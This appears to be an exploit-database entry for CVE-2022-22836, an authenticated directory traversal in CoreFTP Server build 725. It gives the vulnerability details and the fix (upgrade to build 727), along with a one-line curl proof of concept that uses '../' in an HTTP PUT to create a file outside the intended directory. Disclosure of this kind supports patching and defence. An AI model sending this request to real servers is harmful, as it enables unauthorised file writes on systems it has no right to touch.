header-logo
Suggest Exploit
vendor:
CoreFTP Server
by:
LiamInfosec
6.5
CVSS
MEDIUM
Directory Traversal
22
CWE
Product Name: CoreFTP Server
Affected Version From: build 725
Affected Version To: build 726
Patch Exists: YES
Related CWE: CVE-2022-22836
CPE: a:coreftp:coreftp_server
Metasploit:
Other Scripts:
Platforms Tested: Windows 10
2022

CoreFTP Server build 725 – Directory Traversal (Authenticated)

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

Mitigation:

Upgrade to CoreFTP Server build 727 or later
Source

Exploit-DB raw data:

# Exploit Title: CoreFTP Server build 725 - Directory Traversal (Authenticated)
# Date: 08/01/2022
# Exploit Author: LiamInfosec
# Vendor Homepage: http://coreftp.com/
# Version: build 725 and below
# Tested on: Windows 10
# CVE : CVE-2022-22836

# Description:

CoreFTP Server before 727 allows directory traversal (for file creation) by an authenticated attacker via ../ in an HTTP PUT request.

# Proof of Concept:

curl -k -X PUT -H "Host: <IP>" --basic -u <username>:<password> --data-binary "PoC." --path-as-is https://<IP>/../../../../../../whoops

Navigation

Suggest Exploit

Services By CQR